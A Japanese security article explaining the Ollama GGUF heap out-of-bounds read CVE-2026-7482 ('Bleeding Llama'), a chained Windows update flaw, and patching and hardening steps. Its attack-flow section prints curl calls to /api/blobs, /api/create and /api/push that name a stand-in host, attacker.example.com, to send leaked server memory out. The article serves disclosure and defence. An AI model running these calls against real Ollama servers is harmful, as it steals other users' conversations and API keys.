Ollama CVE-2026-7482「Bleeding Llama」｜30万台に影響するGGUFメモリ漏洩を解説

2026年5月1日、セキュリティ企業 Cyera Research が「Bleeding Llama」とコードネームを付けて公表したのが Ollama の重大脆弱性 CVE-2026-7482 だ。GGUF モデルローダーにヒープ境界外読み取り（heap out-of-bounds read）が存在し、未認証の攻撃者が細工された GGUF ファイルを /api/create に送り込むだけで、Ollama サーバープロセスのメモリを抜き出せる。CVSS は 9.1（Critical）。インターネット上に公開されている Ollama サーバーは約30万台と推定され、その大半が脆弱バージョンのまま稼働している。本記事では Cyera の技術レポート、The Hacker News、SecurityWeek、CSO Online の各報道、および Ollama 公式リリースノート 0.17.1 を一次ソースとして、本脆弱性のメカニズム・3段階の攻撃フロー・Windows 環境で連鎖する別系統の脆弱性・即時実施すべき対策を整理する。

AI/OSSサプライチェーン全体のセキュリティ強化と関連CVE対応の俯瞰は サプライチェーンセキュリティ完全ガイド2026｜攻撃手法・防御ツール・実践チェックリスト をご覧ください。

CVE-2026-7482 の技術詳細 — GGUFパーサのヒープ境界外読み取り

GGUF（GPT-Generated Unified Format）は、llama.cpp プロジェクトが定義したモデル重みのファイルフォーマットで、Ollama も内部のモデル形式として採用している。各テンソルについて「形状（shape）」「データ型（dtype）」「ファイル内オフセット」「サイズ」をヘッダで宣言し、実データ本体を後続バイトで持つ構造だ。

問題は、Ollama 0.17.1 未満の GGUF パーサがヘッダで宣言された tensor のサイズと、実ファイル内に存在するデータ量が一致するかを検証していなかった点にある。攻撃者が「shape を 100万要素」と宣言した GGUF を投げ込めば、実データが小さくても、Ollama 側はヘッダのサイズに従って 100万要素分を読み取ろうとする。読み取りはヒープ上のバッファを超え、バッファ後方に位置する別の構造体・別ユーザーの会話バッファ・環境変数の格納領域などをそのまま読みに行く。

Cyera の報告によれば、根本原因は内部関数 ConvertToF32 がテンソルのメタデータ（要素数）だけを信頼し、実バイト数とのクロスチェックを行っていない実装にある。Ollama は GGUF を内部正規化のために再量子化する際、F16 ソースを F32 にコンバートする経路を通すが、ここで宣言要素数 × 2バイトの読み取りが指定され、実データが足りない分はヒープ上の隣接メモリから読み出される。読み取られたバイト列は、新しく生成される GGUF ファイル内に F32 値として書き込まれていく。

攻撃成立に必要な条件

CVE-2026-7482 の悪用に必要な条件は、想像以上に少ない。

• ・Ollama 0.17.1 未満が稼働していること
• ・攻撃者が /api/create /api/blobs /api/push のいずれにも到達できること（デフォルトでは認証なし）
• ・攻撃者が外部に GGUF レジストリ風の HTTP エンドポイントを用意できること（/api/push のあて先になる）

「内部からしか叩けない」状況であっても、社内 PC が侵害された時点で同じ条件が成立してしまう。Ollama サーバーが社内 LAN にあるからといって安全ではない、というのが本脆弱性のシビアな点だ。

攻撃フロー — 3段階のAPI呼び出し

Cyera の報告と The Hacker News の解説を統合すると、攻撃は3段階の API 呼び出しに分解できる。順番に確認していく。

Step 1: 細工した GGUF ファイルのアップロード

攻撃者はまず、shape フィールドを偽った GGUF ファイルを生成する。本来 64 要素しか持たないテンソルに対して 100万要素と宣言した形にしておく。これを POST /api/blobs/sha256:</code> に送ると、Ollama は内容ハッシュを検証してファイルシステム上に blob として保存する。ここではまだ GGUF パーサ本体は呼び出されない。

# 概念的な手順（具体的な exploit コードは掲載しない）
curl -X POST http://target:11434/api/blobs/sha256:$BLOB_HASH \
  --data-binary @evil.gguf

この段階では、サーバ側はサイズと SHA256 が一致するか程度しか見ていない。攻撃者は通常の GGUF として保存に成功する。

Step 2: /api/create でメモリ読み取りを誘発

次に /api/create を叩いて、保存した blob からモデルを生成させる。この時、name フィールドに攻撃者が制御している外部ホスト名を含めた名前を指定するのが鍵となる。

# 概念的な API 呼び出し
curl -X POST http://target:11434/api/create \
  -H "Content-Type: application/json" \
  -d '{
    "name": "attacker.example.com/exfil/leak:v1",
    "modelfile": "FROM @sha256:'"$BLOB_HASH"'"
  }'

Ollama はこの name を将来 /api/push で送出する際の HTTP 先として解釈する。サーバ側で GGUF が再量子化される過程で、宣言された巨大な要素数に従ってヒープから読み取りが進み、本来読むべきでない領域のバイト列がそのまま新しい GGUF（F32 量子化済みのもの）に書き込まれる。

Step 3: /api/push で外部送出

最後に /api/push を呼び出すと、Ollama は name に含まれるホストに対して HTTP で GGUF を送信する。これにより、ヒープから漏れたデータが攻撃者の手元にそのまま届く。

curl -X POST http://target:11434/api/push \
  -H "Content-Type: application/json" \
  -d '{"name": "attacker.example.com/exfil/leak:v1"}'

3つの API 呼び出しに認証は一切要らない。Ollama のデフォルト構成では /api/* がすべて認証なしで開いているからだ。攻撃者にとっては HTTP リクエストを3回送るだけで、Ollama プロセスのヒープ内容を抜ける。

Float16→Float32 トリック — なぜデータが綺麗に取れるか

Bleeding Llama を「単なる OOB read」と一線を画させる仕掛けが、F16 → F32 ロスレス変換の悪用にある。Cyera の報告から重要な部分を要約すると以下のとおり。

通常、量子化変換ではビット幅が減る方向（F32 → F16 や F16 → F8）で精度が失われる。一方、F16 → F32 のようにビット幅が増える方向は数学的にロスレスで、IEEE 754 規格に従って単純なビット拡張が行われるだけだ。Ollama の ConvertToF32 はこの拡張を生のメモリバイトに対しても実行するため、ヒープから読み取った任意の 2バイトをそのまま 4バイト F32 値として保持できる。

つまり攻撃者の視点では、抜き取った生バイト列が変換中に潰れることなく、新しい GGUF ファイル内に整然と並んだ F32 値として再構築される。あとは生成されたファイルから F32 値を読み出して下位 2バイトを取り出せば、ヒープから読まれた元のバイトが完全な形で復元できる。

漏洩しうる具体的なデータ

Cyera が実際に検証した結果として挙げているのは以下の種類。

特に企業内で「複数チームから同じ Ollama サーバを叩く」運用にしている場合、A チームの会話を B チームが（あるいは外部攻撃者が）抜けるという最悪のシナリオが現実味を帯びる。マルチテナント前提の Ollama は本質的に危険、というのが Cyera の指摘でもある。

Windows 永続コード実行 — 関連2件のCVE

ここまでが CVE-2026-7482 単体の話だが、Windows 環境ではさらに別系統の脆弱性が連鎖する。Striga が 2026-01-27 に Ollama に報告し、90日の責任ある公開期間を経て表に出た CVE-2026-42248 および CVE-2026-42249 だ。

CVE-2026-42249 は、Windows 版 Ollama の自動更新処理が、HTTP レスポンスヘッダから取得した値をそのままファイルパスに連結している点が問題。攻撃者が中間者攻撃または偽装されたアップデートサーバを介在させると、ヘッダにパストラバーサル文字列を挿入することでスタートアップフォルダに任意の実行ファイルを書き込める。CVE-2026-42248 は、書き込まれたバイナリの署名を検証していないため、書かれたファイルが Ollama 純正バイナリでなくても起動を阻止できないという欠落。

この2つを組み合わせると、ユーザーがログインするたびに攻撃者のバイナリが実行される永続的なコード実行に到達する。Striga の発表では Ollama for Windows 0.12.10 から 0.17.5 までが直接対象とされており、0.22.0 までは経路によっては影響を受けうるとされている。

CVE-2026-7482 と Windows CVE の連鎖シナリオ

ここで重要なのは、CVE-2026-7482 で漏れた情報が、Windows 側脆弱性の悪用条件を整える材料になりうる点。具体的には以下のような連鎖が想定される。

1. 1. 攻撃者が CVE-2026-7482 で Ollama のヒープから内部 IP・更新サーバーのドメイン・SAML トークン等を抜く
2. 2. 抜いた情報を元に被害ホストの位置と OS を特定（Windows 版か Linux 版か、社内ネットワーク構造）
3. 3. Windows 版が動いている場合、CVE-2026-42249 を中間者攻撃または DNS 詐称で悪用し、悪意あるバイナリをスタートアップフォルダへ配置
4. 4. CVE-2026-42248（署名検証欠落）により次回ログイン時に任意コードが永続実行

単独でも深刻だが、組み合わさると単純な情報漏洩から RCE 到達までが一直線でつながる。Windows ユーザーは特に CVE-2026-42248 / 42249 の修正反映バージョンも別途確認する必要がある。

影響範囲 — 30万台のサーバーと露出経路

Cyera が報告した「30万台」という数字は、インターネット全体スキャンで Ollama デフォルトポート 11434 に到達できるホスト数。Shodan のクエリでも同等のオーダーが観測されている。

なぜこんなに公開されているのか

Ollama は起動時のデフォルトバインドが 0.0.0.0:11434（全インタフェース）になっている時期があり、特に開発初期からの利用者がそのまま運用に流している例が多い。加えて以下の構造的要因が公開状態を量産している。

• ・Docker でカジュアルに立てたケースで -p 11434:11434 のままインターネットに公開してしまっている
• ・自宅 GPU での実験を Tailscale なし・素の SSH ポート転送のみで使っている学生・個人開発者
• ・社内 LLM サンドボックスとして立てた環境を、ファイアウォールが緩い社内ネットワークに置いている企業
• ・AI スタートアップが MVP として急ぎで立てたプロダクトが、認証層なしで Ollama を露出している
• ・クラウドのセキュリティグループ設定ミスで 0.0.0.0/0 で開けっぱなしになっている本番系

Cyera の Bleeding Llama レポートでは、確認できた公開ホストの中にAPI キーや会話履歴を含む実データが現に取れる例が多数あったとされている。脆弱バージョンの正確な比率は公表されていないが、0.17.1 が出たのは 2026 年4月末であり、5月10日時点で大半のホストはまだ 0.17.0 以前である可能性が高い。

自分のサーバが公開されているか確認する

最低限、以下の3点を即時確認する。

# 1. リッスンアドレスの確認（0.0.0.0 はNG、127.0.0.1 が安全）
ss -tlnp | grep 11434
# または
netstat -tlnp | grep 11434

# 2. バージョン確認
curl http://127.0.0.1:11434/api/version
# {"version":"0.17.1"} となっていればOK

# 3. 外部からの到達性確認（VPS から）
curl -m 5 http://your-public-ip:11434/api/tags
# 200 が返ってきたら公開状態

OLLAMA_HOST 環境変数で起動時に明示的に 127.0.0.1 を指定する運用に切り替えるのが最も簡単な対策になる。systemd ユニットや Docker compose ファイルへの反映を忘れずに行う。

パッチ適用と暫定緩和 — 即実施すべき手順

Cyera の報告と Ollama リリースノートから、優先順位を付けて推奨対策を整理する。

Step 1: 0.17.1 以上に即時アップデート

最優先は Ollama 0.17.1 以上への更新。GGUF パーサのヒープ境界外読み取りはこのバージョンで修正されている。

# Linux (公式インストールスクリプト)
curl -fsSL https://ollama.com/install.sh | sh

# macOS (Homebrew)
brew upgrade ollama

# Docker
docker pull ollama/ollama:latest
docker stop ollama && docker rm ollama
docker run -d --name ollama -p 127.0.0.1:11434:11434 ollama/ollama:latest

# バージョン確認
ollama --version
curl http://127.0.0.1:11434/api/version

Windows 版利用者は、CVE-2026-42248 / 42249 が反映された最新ビルドにアップデートしているかも併せて確認する。Ollama 公式の Release ページでパッチ反映バージョンを照合する。

Step 2: ネットワーク到達範囲の最小化

更新と並行して、外部から /api/* に到達できる経路を遮断する。

# systemd サービス例 (Linux)
# /etc/systemd/system/ollama.service.d/override.conf
[Service]
Environment="OLLAMA_HOST=127.0.0.1:11434"

# 反映
sudo systemctl daemon-reload
sudo systemctl restart ollama

# docker-compose.yml — ホストの 127.0.0.1 だけにバインド
services:
  ollama:
    image: ollama/ollama:latest
    ports:
      - "127.0.0.1:11434:11434"  # 0.0.0.0:11434 にしない
    volumes:
      - ollama:/root/.ollama
volumes:
  ollama:

クラウド環境の場合は、セキュリティグループ・ファイアウォール側で 11434 を 0.0.0.0/0 から閉じるのも合わせて実施する。アプリ側からだけ届けばよいなら、VPC 内部 CIDR や特定 IP のみ許可する。

Step 3: 認証層をリバースプロキシで追加

Ollama 自体には API 認証が組み込まれていないため、外部公開が必要なケースでは Nginx / Caddy / Cloudflare Access などで認証層を被せる。

# Nginx — /api/create /api/push を外部から拒否
location ~ ^/api/(create|push|blobs|delete|copy)/ {
    deny all;
    return 403;
}

# /api/generate /api/chat は API キー認証必須
location ~ ^/api/(generate|chat|tags)/ {
    if ($http_authorization != "Bearer YOUR_LONG_RANDOM_TOKEN") {
        return 401;
    }
    proxy_pass http://127.0.0.1:11434;
}

Step 4: 漏洩済みであることを前提とした事後対応

公開状態で運用していた期間がある場合、既に何らかのデータが抜かれている前提で以下を実施する。

• ・環境変数として渡していた API キー（OPENAI_API_KEY、HF_TOKEN、AWS\_\*）はすべて即時ローテーション
• ・Modelfile に SYSTEM プロンプトとして書いていた機密情報（社内ロジック・固有名詞）を露出した前提で対処
• ・直近に流したユーザー会話・RAG コンテキストが第三者の手元にあることを前提に、関係者へ通知
• ・Ollama サーバ稼働ログを /api/blobs/sha256: /api/create /api/push の異常頻度でチェック
• ・Windows 版利用者は、スタートアップフォルダに身に覚えのない実行ファイルが置かれていないか点検

サプライチェーン視点での教訓

Bleeding Llama は AI フレームワークがサプライチェーンの新しい弱点になっている象徴的な事例だ。OSS の脆弱性管理は依存関係スキャナーで一定の自動化ができるが、Ollama のようにプロダクトに直接組み込まれて API ゲートウェイとして動く LLM サーバは、設定・運用面の脆弱性が重なりやすい。同種の課題は Redis CVE-2026-23479ほか5件のRCE脆弱性｜全バージョン影響、即パッチ必須 でも観測されており、ネットワーク露出を最小化し、API ゲートウェイ側で認証を強制する設計原則が改めて重要になる。

依存関係そのものの取り扱いについては、Renovate / Dependabotで実装するサプライチェーン攻撃対策 で扱った自動アップデート体制が、こうした重大 CVE が出た際の初動を大きく速める。Bleeding Llama でも、Ollama を依存に持つコンテナイメージを Renovate で日次監視していれば 0.17.1 公開と同時に自動 PR が立ち、人間レビュー＋マージで翌日には全環境が安全側に倒せたはずだ。

今後のAIフレームワークセキュリティ — 教訓と提言

Bleeding Llama の根本原因を抽象化すると、AI フレームワークがバイナリフォーマット（GGUF / safetensors / pickle 等）のパーサを内部に抱え、その入力検証が古典的な C 系コードと同じ程度の品質しか担保されていない点にある。CSO Online は本件を受けて「LLM ランタイムは Web サーバー並みの脅威モデルを持つべき」と論じている。具体的には以下が今後の論点となる。

• ・入力モデルの完全パースを前提とした fuzzing をリリース前に必須化（go-fuzz / libFuzzer 統合）
• ・GGUF / safetensors 等のフォーマットバリデーション層をパーサと分離し、shape × dtype × file size のクロスチェックを必ず通す
• ・/api/create /api/push に相当する特権 API は別ポート + 認証必須に分離（probllama 系の前例も同様）
• ・社内利用前提でもデフォルト 127.0.0.1 バインドに変更し、外部公開はオプトイン化
• ・LLM ホスティング製品の SBOMに Ollama / vLLM / TGI のバージョンを明記し、CVE 公開時に即特定可能な状態を保つ

Ollama 自身も0.17.1 のパッチ単発で終わらせず、GGUF パーサ周辺のフォーマット検証ライブラリ化、/api/create のオプトイン化など、構造改革が必要になるはずだ。LLM サーバを動かすことは、Web サーバを動かすことと同じレベルの責任を伴う——Bleeding Llama はこの当然の事実を改めて突きつける事件である。

参照ソース

• Cyera Research — Bleeding Llama: Critical Unauthenticated Memory Leak in Ollama
• The Hacker News — Ollama Out-of-Bounds Read Vulnerability Allows Remote Process Memory Leak
• SecurityWeek — Critical Bug Could Expose 300,000 Ollama Deployments to Information Theft
• CSO Online — Ollama vulnerability highlights danger of AI frameworks with unrestricted access
• CVE Feed — CVE-2026-7482
• runZero — Ollama vulnerability CVE-2026-7482: Find impacted assets
• Cybernews — Unauthenticated memory leak in Ollama: users exposed
• Ollama GitHub Releases